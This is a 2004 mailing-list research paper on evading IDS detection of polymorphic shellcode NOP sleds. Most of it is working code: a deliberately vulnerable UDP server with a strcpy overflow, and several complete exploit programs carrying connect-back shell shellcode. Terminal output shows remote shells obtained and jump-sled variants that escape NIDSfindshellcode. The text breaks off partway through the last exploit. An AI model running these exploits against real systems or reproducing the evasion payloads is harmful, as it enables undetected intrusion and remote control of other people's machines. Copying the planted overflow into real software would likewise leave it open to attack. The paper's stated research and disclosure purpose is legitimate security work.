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On Polymorphic Evasion
From: "Phantasmal Phantasmagoria" <phantasmal () hush ai>
Date: Fri, 1 Oct 2004 17:28:01 -0700

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- ------------------------------------

On Polymorphic Evasion
by Phantasmal Phantasmagoria
phantasmal () hush ai

- ---- Table of Contents -------------

        1 - Prologue
        2 - Introduction
        3 - Detection
        4 - Testing
        5 - Evasion
        6 - Future
        7 - Thoughts
        8 - Appendix
        9 - Reference

- ------------------------------------
- ---- Prologue ----------------------

The decision made to write and publish the following paper came after
a lengthy internal debate as to whether the detection of polymorphic
shellcode was indeed an appropriate component of an IDS, and therefore
whether the evasion of an IDS performing polymorphic detection was an
area of interest. This was compounded by the fact that the CLET team
had previously published research [1] closely related to the subject
matter of the paper in question.

The conclusion was made that exploit payload detection was important
in IDS, if only as a backup to the protocol anomaly or signature detection
that form the core of the system. The reasoning in this lies in the possibility
that a new and unknown attack would fail to be detected by the existing
ruleset. In this situation the detection of an exploit payload could
well be the only indication of an intrusion.

The importance of polymorphic shellcode detection has been determined,
 but we still need to examine the reasoning behind the publication of
an evasion technique which would only seem to specifically benefit an
attacker. At this stage we approach the debate over disclosure, where
inevitably personal interest and opinion override any sense of technical
merit. For that reason I have put the discussion covering the disclosure
of this paper after the technical presentation, where the reader may
suitably choose to ignore it.

Finally, yes, I am aware of the CLET team's recursive nop sleds. The
techniques developed below started as something quite different, then
became quite related without my knowing it. If nothing else, a working
implementation has been presented.

- ------------------------------------
- ---- Introduction ------------------

The concept of polymorphic code historically originated in the virus
writing scene. Polymorphism as a technique, changing the outward appearance
of a piece of machine code while retaining the same functionality, gained
popularity in the early 90's, sending the AV industry scrambling to find
ways to detect the stream of newly released self-morphing viruses. From
this scramble the first anti-virus heurstics were developed.

Recently, the usage of polymorphic shellcode in exploit payloads has
gained populatiry. This is due in part to the wide spread deployment
of signature based intusion detection systems. Just as AV struggled to
cope with the new breed of polymorphic attacks, IDS too has been faced
with the task of developing new detection methods.

- ------------------------------------
- ---- Detection ---------------------

At the start of 2002, Next Generation Security researcher Fermin J. Serna
proposed a technique [2] for the detection of polymorphic shellcodes
in an Application or Network IDS. A traditional polymorphic payload has
the following format:

[ POLYMORPHIC NOP SLED ] [ DECRYPTION ENGINE ] [ CIPHERED SHELLCODE ]

Each of these three sections of the payload are individually generated
to contain differing opcodes between attacks while still retaining the
functionality of the original shellcode. While a traditional NOP sled
contains only the nop (0x90) operator, a polymorphic sled contains any
number of single byte junk opcodes. This renders the traditional pattern
matching of the 0x90 nop sled redundant. Serna's proposed detection technique
targets the polymorphic nop sled, comparing the sled against a list of
possible junk opcodes, marking the payload as "shellcode" if a configured
amount of contiguous junk operations occur. This paper is an attempt
to develop a counter-technique to the polymorphic nop sled detection
proposed by Serna. For an analysis of the Snort preprocessor "Fnord"
[3] and the "Prelude Hybrid IDS" [4] which implement this detection method
see the Appendix. The numerous other aspects of modern IDS that help
identify an attack, such as protocol anomaly and exception based techniques
are beyond the scope of this discussion.

- ------------------------------------
- ---- Testing -----------------------

At the same time as releasing the paper describing the technique above,
 Next Generation Security released a proof of concept tool, "NIDSfindshellcode".
To develop a counter-technique we first need to test the reliability
of this tool. To do this an example UDP server containg a vulnerability
was developed and attacked in view of NIDSfindshellcode. Firstly, we
will set up the vulnerable program "philosophy" on the host that will
be attacked, "halo":

/* START philosophy.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>

void philosophize(char *idea) {
        char brain[1024];
        strcpy(brain, idea);

        printf("received message ... \n");

        return;
}

int main(void) {
        char buf[2048], *p;
        int s, rs, clen, x;
        struct sockaddr_in saddr, caddr;

        if ((s = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        saddr.sin_family = AF_INET;
        saddr.sin_port = htons(1986);
        saddr.sin_addr.s_addr = htonl(INADDR_ANY);

        if ((rs = bind(s, (struct sockaddr *) &saddr, sizeof(saddr)))

                        == -1) {
                perror("bind");
                exit(1);
        }

        printf("the philosopher is listening on port 1986\n");

        memset(buf, 0, 2048);

        if (recvfrom(s, buf, 2048, 0, (struct sockaddr *) &caddr,
                        &clen) == -1) {
                perror("recvfrom");
                exit(1);
        }

        p = buf;

        philosophize(p);
}
/* END philosophy.c */

- --------
halo$ uname -mnrs
NetBSD halo 1.6.2_STABLE i386
halo$ gcc -o philosophy philosophy.c
halo$ ./philosophy
the philosopher is listening on port 1986

halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com
- --------

We are now ready to carry out the first test from the attacker's host,
 "satyr". We will use the following exploit, which does not yet contain
any polymorphism:

/* START dragon.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>

#define PAYLOAD_LENGTH  1024 + 8
#define BASE_RET        0xbfbfd1f0

char shellcode[] =
 "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
 "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
 "\x61\xcd\x80\x31\xd2\x52\x52\xba"
 "\x41\x41\x41\x41\x83\xf2\xff\x52"
 "\x31\xd2\x66\x68\x8b\xa4\xb7\x02"
 "\x66\x53\x89\xe1\xb2\x10\x52\x51"
 "\x50\x52\x89\xc1\x31\xc0\xb0\x62"
 "\xcd\x80\x89\xca\x31\xdb\x39\xc3"
 "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
 "\x80\x31\xc0\x31\xdb\x43\x53\x52"
 "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
 "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
 "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
 "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";

struct sockaddr_in get_localaddr(struct sockaddr_in saddr) {
        int sockr, len, on = 1;
        struct sockaddr_in dest;
        struct sockaddr_in iface;

        memset(&iface, 0, sizeof(iface));
        memcpy(&dest, &saddr, sizeof(struct sockaddr_in));

        dest.sin_port = htons(11111);

        sockr = socket(AF_INET, SOCK_DGRAM, 0);

        if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
                        == -1) {
                printf("getsockopt error\n");
                exit(1);
        }

        if(connect(sockr, (struct sockaddr *)&dest,
                        sizeof(struct sockaddr_in)) == -1) {
                printf("connect error\n");
                exit(1);
        }

        len = sizeof(iface);

        if (getsockname(sockr, (struct sockaddr *)&iface, &len) == -1)
{
                printf("getsockname error\n");
                exit(1);
        }

        close(sockr);

        return iface;
}

int main(int argc, char *argv[]) {
        int s, ret_adj, nops, x;
        struct sockaddr_in saddr, caddr;
        char payload[PAYLOAD_LENGTH+1];
        long ret_addr;

        if (argc < 2) {
                printf("./dragon <target ip> [ret adjustment]\n");
                exit(1);
        }

        if (strstr(argv[1], "255") != NULL) {
                printf("invalid ip address\n");
                exit(1);
        }

        if (argc > 2)
                ret_adj = atoi(argv[2]);
        else
                ret_adj = 0;

        saddr.sin_family = PF_INET;
        saddr.sin_port = htons(1986);
        inet_aton(argv[1], &saddr.sin_addr);

        caddr = get_localaddr(saddr);

        nops = 1024 - sizeof(shellcode);
        memcpy(shellcode+24, &caddr.sin_addr, 4);

        shellcode[24] ^= 255;
        shellcode[25] ^= 255;
        shellcode[26] ^= 255;
        shellcode[27] ^= 255;

        ret_addr = BASE_RET + ret_adj;

        printf("using ret addr: %p\n", ret_addr);

        memset(payload, 0x90, PAYLOAD_LENGTH);
        memcpy(payload+nops, shellcode, sizeof(shellcode) - 1);

        for (x = 0; x < (PAYLOAD_LENGTH-1024); x += 4)
                *((long *) &payload[1024 + x]) = ret_addr;

        payload[PAYLOAD_LENGTH] = '\0';

        if ((s = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if (sendto(s, payload, PAYLOAD_LENGTH, 0, (struct sockaddr *)
                        &saddr, sizeof(saddr)) == -1) {
                perror("sendto");
                close(s);
                exit(1);
        }

        close(s);
}
/* END dragon.c */

- --------
satyr$ cat /etc/hosts | grep halo
192.168.0.5     halo            halo
satyr$ gcc -o dragon dragon.c
satyr$ ./dragon 192.168.0.5
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
uptime
 1:25AM  up  3:05, 1 user, load averages: 2.19, 2.13, 2.09
exit
satyr$

halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com

IA32 shellcode found: Protocol UDP satyr:2048 -> halo:1986
- --------

As seen above, the exploit was executed successfully and NIDSfindshellcode
accurately detected our plain 0x90 nop sled. Lets now see how it handles
a polymorphic payload by using a version of our exploit modified to use
the ADMmutate engine [5]. Assume that after each attack the system is
reset as follows:

- --------
halo$ ./philosophy
the philosopher is listening on port 1986
received message ...
halo$ ./philosophy
the philosopher is listening on port 1986

halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com
- --------

The following exploit is modified to use the ADMmutate engine:

/* START dragon_polymorph.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include "ADMmutapi.h"

#define PAYLOAD_LENGTH  1024 + 8
#define BASE_RET        0xbfbfd1f0

char shellcode[] =
 "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
 "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
 "\x61\xcd\x80\x31\xd2\x52\x52\xba"
 "\x41\x41\x41\x41\x83\xf2\xff\x52"
 "\x31\xd2\x66\x68\x8b\xa4\xb7\x02"
 "\x66\x53\x89\xe1\xb2\x10\x52\x51"
 "\x50\x52\x89\xc1\x31\xc0\xb0\x62"
 "\xcd\x80\x89\xca\x31\xdb\x39\xc3"
 "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
 "\x80\x31\xc0\x31\xdb\x43\x53\x52"
 "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
 "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
 "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
 "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";

struct sockaddr_in get_localaddr(struct sockaddr_in saddr) {
        int sockr, len, on = 1;
        struct sockaddr_in dest;
        struct sockaddr_in iface;

        memset(&iface, 0, sizeof(iface));
        memcpy(&dest, &saddr, sizeof(struct sockaddr_in));

        dest.sin_port = htons(11111);

        sockr = socket(AF_INET, SOCK_DGRAM, 0);

        if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
                        == -1) {
                printf("getsockopt error\n");
                exit(1);
        }

        if(connect(sockr, (struct sockaddr *)&dest,
                        sizeof(struct sockaddr_in)) == -1) {
                printf("connect error\n");
                exit(1);
        }

        len = sizeof(iface);

        if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1)
{
                printf("getsockname error\n");
                exit(1);
        }

        close(sockr);

        return iface;
}

int main(int argc, char *argv[]) {
        struct morphctl *mctlp;
        struct morphctl mut;
        int s, ret_adj, nops, x;
        struct sockaddr_in saddr, caddr;
        char payload[PAYLOAD_LENGTH+1];
        long ret_addr;

        if (argc < 2) {
                printf( "./dragon_polymorph "
                        "<target ip> [ret adjustment]\n");
                exit(1);
        }

        if (strstr(argv[1], "255") != NULL) {
                printf("invalid ip address\n");
                exit(1);
        }

        if (argc > 2)
                ret_adj = atoi(argv[2]);
        else
                ret_adj = 0;

        mut.upper = mut.lower = 0;
        mut.banned = NULL;
        mctlp = &mut;
        mut.arch = IA32_SLIDE;

        saddr.sin_family = PF_INET;
        saddr.sin_port = htons(1986);
        inet_aton(argv[1], &saddr.sin_addr);

        caddr = get_localaddr(saddr);

        nops = 1024 - sizeof(shellcode);
        memcpy(shellcode+24, &caddr.sin_addr, 4);

        shellcode[24] ^= 255;
        shellcode[25] ^= 255;
        shellcode[26] ^= 255;
        shellcode[27] ^= 255;

        ret_addr = BASE_RET + ret_adj;

        printf("using ret addr: %p\n", ret_addr);

        memset(payload, 0x90, PAYLOAD_LENGTH);
        memcpy(payload+nops, shellcode, sizeof(shellcode) - 1);

        for (x = 0; x < (PAYLOAD_LENGTH-1024); x += 4)
                *((long *) &payload[1024 + x]) = ret_addr;

        payload[PAYLOAD_LENGTH] = '\0';

        init_mutate(mctlp);
        apply_key(payload, strlen(shellcode), nops-1, mctlp);
        apply_jnops(payload, nops-1, mut);
        apply_engine(payload, strlen(shellcode), nops-1, mut);

        if ((s = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if (sendto(s, payload, PAYLOAD_LENGTH, 0, (struct sockaddr *)

                        &saddr, sizeof(saddr)) == -1) {
                perror("sendto");
                close(s);
                exit(1);
        }

        close(s);
}
/* END dragon_polymorph.c */

- --------
satyr$ gcc -o dragon_polymorph dragon_polymorph.c ADMmuteng.o
satyr$ ./dragon_polymorph 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com

IA32 shellcode found: Protocol UDP satyr:2048 -> halo:1986
- --------

The exploit is still working well and NIDSfindshellcode still managed
to detect our attack, despite our attempts at polymorphism. From this
we can conclude that the technique Serna put forward does indeed work
with the existing polymorphic shellcode technology. From this point on
I will provide some of the possible counter-techniques available in order
to evade a system that uses Serna's nop count detection method, such
as NIDSfindshellcode.

- ------------------------------------
- ---- Evasion -----------------------

Serna's technique is essentially advanced pattern-matching. This means
that to avoid detection we simply need to break the pattern in some way,
 while of course, still retaining the nop sled functionality. The simplest
way to do this is to introduce opcodes to the sled that do not match
the technique's definition of "junk opcodes". The first of these techniques
is simply to change the nop sled into a "jump sled".

The jump operation is not treated as a junk opcode, but a combination
of jumps can act as a sled by which we can reach the decryption engine
of the payload:

Ordinary nop sled:
NOP -> NOP -> NOP ... NOP -> NOP -> DE -> SC

Jump sled:
  _______________ _______________ __________
 |               |               |          |
JMP JMP JMP ... JMP JMP JMP ... JMP JMP JMP DE SC
     |   |_______|   |   |_______|   |   |__|
     |___________|   |___________|   |______|

In this diagram every single JMP call eventually ends at DE, the decryption
engine. It would of course be a much simpler picture if all JMP's could
go directly to the DE, but in terms of an exploit payload sled this is
not sensible. The JMP operation is at least 2 bytes - one for the JMP
opcode and one for the argument. The JMP argument can be up to 4 bytes
long, more than long enough for all of the JMP's to go directly to the
DE, but we have to remember that the exploit could return anywhere in
the sled. If we were to return on a JMP argument our exploit would have
a high likelihood of failure - we would be landing on an invalid instruction.
Due to this chance we choose to use the smallest JMP argument available,
 but as a result, we can jump at most 127 bytes forward. That is why
the intermediary JMP's are required.

Let's see how this technique is handled by NIDSfindshellcode by using
a modified version of the exploits we used in testing above:

/* START dragon_jumpslide.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include "ADMmutapi.h"

#define PAYLOAD_LENGTH  1024 + 8
#define BASE_RET        0xbfbfd1f0

char shellcode[] =
 "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
 "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
 "\x61\xcd\x80\x31\xd2\x52\x52\xba"
 "\x41\x41\x41\x41\x83\xf2\xff\x52"
 "\x31\xd2\x66\x68\x8b\xa4\xb7\x02"
 "\x66\x53\x89\xe1\xb2\x10\x52\x51"
 "\x50\x52\x89\xc1\x31\xc0\xb0\x62"
 "\xcd\x80\x89\xca\x31\xdb\x39\xc3"
 "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
 "\x80\x31\xc0\x31\xdb\x43\x53\x52"
 "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
 "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
 "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
 "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";

void jump_slide(char *payload, int nop_size) {
        int top, leap;

        top = nop_size - 3;
        leap = 1;

        while (top > 0) {

                while(leap < 128 && top > 0) {
                        *(payload+top) = 0xeb;
                        *(payload+top+1) = leap;
                        top -= 2;
                        leap += 2;
                }

                top -= 1;
                leap = 1;
        }
}

struct sockaddr_in get_localaddr(struct sockaddr_in saddr) {
        int sockr, len, on = 1;
        struct sockaddr_in dest;
        struct sockaddr_in iface;

        memset(&iface, 0, sizeof(iface));
        memcpy(&dest, &saddr, sizeof(struct sockaddr_in));

        dest.sin_port = htons(11111);

        sockr = socket(AF_INET, SOCK_DGRAM, 0);

        if (setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
                        == -1) {
                printf("getsockopt error\n");
                exit(1);
        }

        if (connect(sockr, (struct sockaddr *)&dest,
                        sizeof(struct sockaddr_in)) == -1) {
                printf("connect error\n");
                exit(1);
        }

        len = sizeof(iface);

        if (getsockname(sockr, (struct sockaddr *)&iface, &len) == -1)
{
                printf("getsockname error\n");
                exit(1);
        }

        close(sockr);

        return iface;
}

int main(int argc, char *argv[]) {
        struct morphctl *mctlp;
        struct morphctl mut;
        int s, ret_adj, nops, x;
        struct sockaddr_in saddr, caddr;
        char payload[PAYLOAD_LENGTH+1];
        long ret_addr;

        if (argc < 2) {
                printf( "./dragon_jumpslide "
                        "<target ip> [ret adjustment]\n");
                exit(1);
        }

        if (strstr(argv[1], "255") != NULL) {
                printf("invalid ip address\n");
                exit(1);
        }

        if (argc > 2)
                ret_adj = atoi(argv[2]);
        else
                ret_adj = 0;

        mut.upper = mut.lower = 0;
        mut.banned = NULL;
        mctlp = &mut;
        mut.arch = IA32_SLIDE;

        saddr.sin_family = PF_INET;
        saddr.sin_port = htons(1986);
        inet_aton(argv[1], &saddr.sin_addr);

        caddr = get_localaddr(saddr);

        nops = 1024 - sizeof(shellcode);
        memcpy(shellcode+24, &caddr.sin_addr, 4);

        shellcode[24] ^= 255;
        shellcode[25] ^= 255;
        shellcode[26] ^= 255;
        shellcode[27] ^= 255;

        ret_addr = BASE_RET + ret_adj;

        printf("using ret addr: %p\n", ret_addr);

        memset(payload, 0x90, PAYLOAD_LENGTH);
        memcpy(payload+nops, shellcode, sizeof(shellcode) - 1);

        for (x = 0; x < (PAYLOAD_LENGTH-1024); x += 4)
                *((long *) &payload[1024 + x]) = ret_addr;

        payload[PAYLOAD_LENGTH] = '\0';

        init_mutate(mctlp);
        apply_key(payload, strlen(shellcode), nops-1, mctlp);
        apply_engine(payload, strlen(shellcode), nops-1, mut);

        for (x = 0; (unsigned char) payload[x] == 0x90; x++);

        jump_slide(payload, x-1);

        if ((s = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if (sendto(s, payload, PAYLOAD_LENGTH, 0, (struct sockaddr *)

                        &saddr, sizeof(saddr)) == -1) {
                perror("sendto");
                close(s);
                exit(1);
        }

        close(s);
}
/* END dragon_jumpslide.c */

- --------
satyr$ gcc -o dragon_jumpslide dragon_jumpslide.c ADMmuteng.o
satyr$ ./dragon_jumpslide 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
- --------

It appears the exploit has failed. Lets try again, this time adjusting
the return address.

- --------
satyr$ ./dragon_jumpslide 192.168.0.5 1 2> /dev/null
using ret addr: 0xbfbfd1f1
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
- --------

Excellent, that did the trick. Before we discuss the first failure and
move on to an improved technique, lets check NIDSfindshellcode.

- --------
halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com

- --------

Indeed, not a trace of being detected. We have successfully evaded Serna's
nop-slide-count technique, but there is still much to improve on. As
you may have noticed, our jumpslide method is essentially flawed. We
say it is flawed in the sense that there is a 50% chance (or near enough)
that the exploit will fail. This chance is for the reason discussed above,
 the possibility that we will return on one of our JMP arguments resulting
in an illegal instruction (or an illegal reference to memory). We can
see an example of this when our first exploitation attempt failed, only
to succeed after adjusting the return address by 1. So then, is the jump
slide technique entirely useless? No, but it does need a modification.
In fact, in order to reduce the margin for failure we need to combine
the jump slide with our original polymorphic nop sled:

NOP -> JMP -> NOP -> NOP -> NOP -> JMP -> NOP -> NOP -> DE -> SC
        |                           |______|______|
        |__________________________________|

The general idea of this technique is to stop the IDS from recognizing
a nop sled by breaking the chain of "junk operators" with JMP calls.
This greatly reduces the chance that we will land on a JMP argument,
while still providing a perfectly valid sled to the decryption engine.
Lets try it out:

/* START dragon_nopjump.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include "ADMmutapi.h"

#define PAYLOAD_LENGTH  1024 + 8
#define BASE_RET        0xbfbfd1f0

char shellcode[] =
 "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
 "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
 "\x61\xcd\x80\x31\xd2\x52\x52\xba"
 "\x41\x41\x41\x41\x83\xf2\xff\x52"
 "\x31\xd2\x66\x68\x8b\xa4\xb7\x02"
 "\x66\x53\x89\xe1\xb2\x10\x52\x51"
 "\x50\x52\x89\xc1\x31\xc0\xb0\x62"
 "\xcd\x80\x89\xca\x31\xdb\x39\xc3"
 "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
 "\x80\x31\xc0\x31\xdb\x43\x53\x52"
 "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
 "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
 "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
 "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";

void jump_slide(unsigned char *payload, int nop_size) {
        int top, leap, noplen, x, y;
        extern struct junks intel_njunk[];
        top = nop_size - 3;
        leap = 1;

        srand(time(NULL));

        while (top > 0) {

                while(leap < 128 && top > 0) {
                        noplen = rand()%20;
                        leap += noplen;
                        top -= noplen;

                        *(payload+top) = 0xeb;
                        *(payload+top+1) = leap;
                }

                top -= 1;
                leap = 1;
        }

        srand(time(NULL)*getpid());

        for (x = 0; x < nop_size; x++) {
                if (*(payload+x) == 0x90) {
                        y = rand()%45;

                        if (!intel_njunk[y].noppad) {
                                x--;
                                continue;
                        }

                        *(payload+x) = *(intel_njunk[y].code);
                }
        }
}

struct sockaddr_in get_localaddr(struct sockaddr_in saddr) {
        int sockr, len, on = 1;
        struct sockaddr_in dest;
        struct sockaddr_in iface;

        memset(&iface, 0, sizeof(iface));
        memcpy(&dest, &saddr, sizeof(struct sockaddr_in));

        dest.sin_port = htons(11111);

        sockr = socket(AF_INET, SOCK_DGRAM, 0);

        if (setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
                        == -1) {
                printf("getsockopt error\n");
                exit(1);
        }

        if (connect(sockr, (struct sockaddr *)&dest,
                        sizeof(struct sockaddr_in)) == -1) {
                printf("connect error\n");
                exit(1);
        }

        len = sizeof(iface);

        if (getsockname(sockr, (struct sockaddr *)&iface, &len) == -1)
{
                printf("getsockname error\n");
                exit(1);
        }

        close(sockr);

        return iface;
}

int main(int argc, char *argv[]) {
        struct morphctl *mctlp;
        struct morphctl mut;
        int s, ret_adj, nops, x;
        struct sockaddr_in saddr, caddr;
        char payload[PAYLOAD_LENGTH+1];
        long ret_addr;

        if (argc < 2) {
                printf("./dragon_nopjump <target ip> [ret adjustment]\n");
                exit(1);
        }

        if (strstr(argv[1], "255") != NULL) {
                printf("invalid ip address\n");
                exit(1);
        }

        if (argc > 2)
                ret_adj = atoi(argv[2]);
        else
                ret_adj = 0;

        mut.upper = mut.lower = 0;
        mut.banned = NULL;
        mctlp = &mut;
        mut.arch = IA32_SLIDE;

        saddr.sin_family = PF_INET;
        saddr.sin_port = htons(1986);
        inet_aton(argv[1], &saddr.sin_addr);

        caddr = get_localaddr(saddr);

        nops = 1024 - sizeof(shellcode);
        memcpy(shellcode+24, &caddr.sin_addr, 4);

        shellcode[24] ^= 255;
        shellcode[25] ^= 255;
        shellcode[26] ^= 255;
        shellcode[27] ^= 255;

        ret_addr = BASE_RET + ret_adj;

        printf("using ret addr: %p\n", ret_addr);

        memset(payload, 0x90, PAYLOAD_LENGTH);
        memcpy(payload+nops, shellcode, sizeof(shellcode) - 1);

        for (x = 0; x < (PAYLOAD_LENGTH-1024); x += 4)
                *((long *) &payload[1024 + x]) = ret_addr;

        payload[PAYLOAD_LENGTH] = '\0';

        init_mutate(mctlp);
        apply_key(payload, strlen(shellcode), nops-1, mctlp);
        apply_engine(payload, strlen(shellcode), nops-1, mut);

        for (x = 0; (unsigned char) payload[x] == 0x90; x++);

        jump_slide(payload, x-1);

        if ((s = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if (sendto(s, payload, PAYLOAD_LENGTH, 0, (struct sockaddr *)

                        &saddr, sizeof(saddr)) == -1) {
                perror("sendto");
                close(s);
                exit(1);
        }

        close(s);
}
/* END dragon_nopjump.c */

- --------
satyr$ gcc -o dragon_nopjump dragon_nopjump.c ADMmuteng.o
satyr$ ./dragon_nopjump 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satry$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com

- --------

Our exploit using a combination of the jump sled and traditional polymorphic
nop sled was successful on the first attempt and still managed to avoid
detection by Serna's technique. The chance of the exploit failing due
to returning on a JMP argument has been greatly reduced, and may be further
optimized by previous knowledge of the maximum "junk opcode" count on
the IDS.

There is still, however, one final step left - a polymorphic sled that
works 100% of the time while still evading Serna's technique. The problem
at hand is the extremely high likelihood that our exploit will fail if
we land on a JMP argument. This can be solved by ensuring that all JMP
arguments inserted into the payload are valid junk operators themselves.

Originally a portion of our sled looked like this:

<NOP><NOP><JMP><ARG><NOP><NOP>

It is clear that we would encounter problems if <ARG> was hit directly.
Consider the following:

<NOP><NOP><JMP><JNOP><NOP><NOP>

In this situation <JNOP> acts both as the argument to <JMP> and, if returned
to directly, a <NOP>. The following is the final exploit in this paper.
It contains a specialised array of opcodes suitable to act as a <JNOP>.
This is needed to ensure that all of the JMP's go forward, which is done
in order to avoid an endless loop (backward jumps are possible, but they
are too sticky to implement here):

/* START dragon_morphslide.c */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include "ADMmutapi.h"

#define PAYLOAD_LENGTH  1024 + 8
#define BASE_RET        0xbfbfd1f0

char shellcode[] =
 "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
 "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
 "\x61\xcd\x80\x31\xd2\x52\x52\xba"
 "\x41\x41\x41\x41\x83\xf2\xff\x52"
 "\x31\xd2\x66\x68\x8b\xa4\xb7\x02"
 "\x66\x53\x89\xe1\xb2\x10\x52\x51"
 "\x50\x52\x89\xc1\x31\xc0\xb0\x62"
 "\xcd\x80\x89\xca\x31\xdb\x39\xc3"
 "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
 "\x80\x31\xc0\x31\xdb\x43\x53\x52"
 "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
 "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
 "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
 "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";

char jump_arg[] =
 "\x50\x51\x52\x53\x54\x55\x56\x57"
 "\x58\x59\x5a\x5b\x5d\x5e\x5f\x60"
 "\x4d\x48\x47\x4f\x40\x41\x37\x3f"
 "\x46\x4e\x27\x2f\x4a\x44\x42\x43"
 "\x49\x4b\x45\x4c"

 "\x04\x05\x06\x0c\x0d\x0e\x14\x15\x1c\x1d\x24\x25";

void jump_slide(unsigned char *payload, int nop_size) {
        int top, leap, noplen, x, y;
        extern struct junks intel_njunk[];

